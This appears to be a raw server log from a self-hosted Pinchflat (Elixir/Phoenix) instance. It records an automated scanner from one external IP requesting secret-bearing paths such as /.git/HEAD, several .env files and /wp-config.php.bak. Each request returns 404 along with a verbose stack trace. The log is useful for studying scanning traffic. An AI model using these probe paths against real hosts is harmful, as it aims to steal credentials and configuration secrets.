"x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21409.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfNu2LbUA5vYACL-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21408.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51908}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21408.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51908}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21409.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfNu2LbUA5vYACL-B"} ], scheme: :http, scrip (truncated) 15:40:14.841 [info] GET /.git/HEAD 15:40:14.842 [debug] QUERY OK source="settings" db=0.0ms idle=205.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.842 [debug] QUERY OK source="settings" db=0.0ms idle=102.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.842 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.842 [error] #PID<0.21411.0> running PinchflatWeb.Endpoint (connection #PID<0.21410.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21410.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51918}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21411.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfOFCLUktJc8ACL-h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21410.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51918}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21410.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51918}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21411.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfOFCLUktJc8ACL-h"} ], scheme: :http, script_name: [], (truncated) 15:40:14.859 [info] GET /laravel/.env 15:40:14.860 [debug] QUERY OK source="settings" db=0.0ms idle=120.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.860 [debug] QUERY OK source="settings" db=0.1ms idle=111.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.860 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.860 [error] #PID<0.21413.0> running PinchflatWeb.Endpoint (connection #PID<0.21412.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /laravel/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21412.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51926}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21413.0>, params: %{}, path_info: ["laravel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/laravel/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfOJUD0_W5eIACL_B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21412.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51926}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21412.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51926}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21413.0>, params: %{}, path_info: ["laravel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/laravel/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfOJUD0_W5eIACL_B"} ], scheme: :http, scrip (truncated) 15:40:14.949 [info] GET /wp-config.php.bak 15:40:14.949 [debug] QUERY OK source="settings" db=0.1ms idle=200.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.949 [debug] QUERY OK source="settings" db=0.0ms idle=107.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.949 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.949 [error] #PID<0.21415.0> running PinchflatWeb.Endpoint (connection #PID<0.21414.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /wp-config.php.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21414.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51930}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21415.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfOeltTb2zuQACL_h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21414.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51930}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21414.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51930}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21415.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfOeltTb2zuQACL_h"} (truncated) 15:40:14.994 [info] GET /payment/.env 15:40:14.994 [debug] QUERY OK source="settings" db=0.1ms idle=152.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.994 [debug] QUERY OK source="settings" db=0.0ms idle=134.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.994 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.994 [error] #PID<0.21417.0> running PinchflatWeb.Endpoint (connection #PID<0.21416.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /payment/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21416.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51938}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: 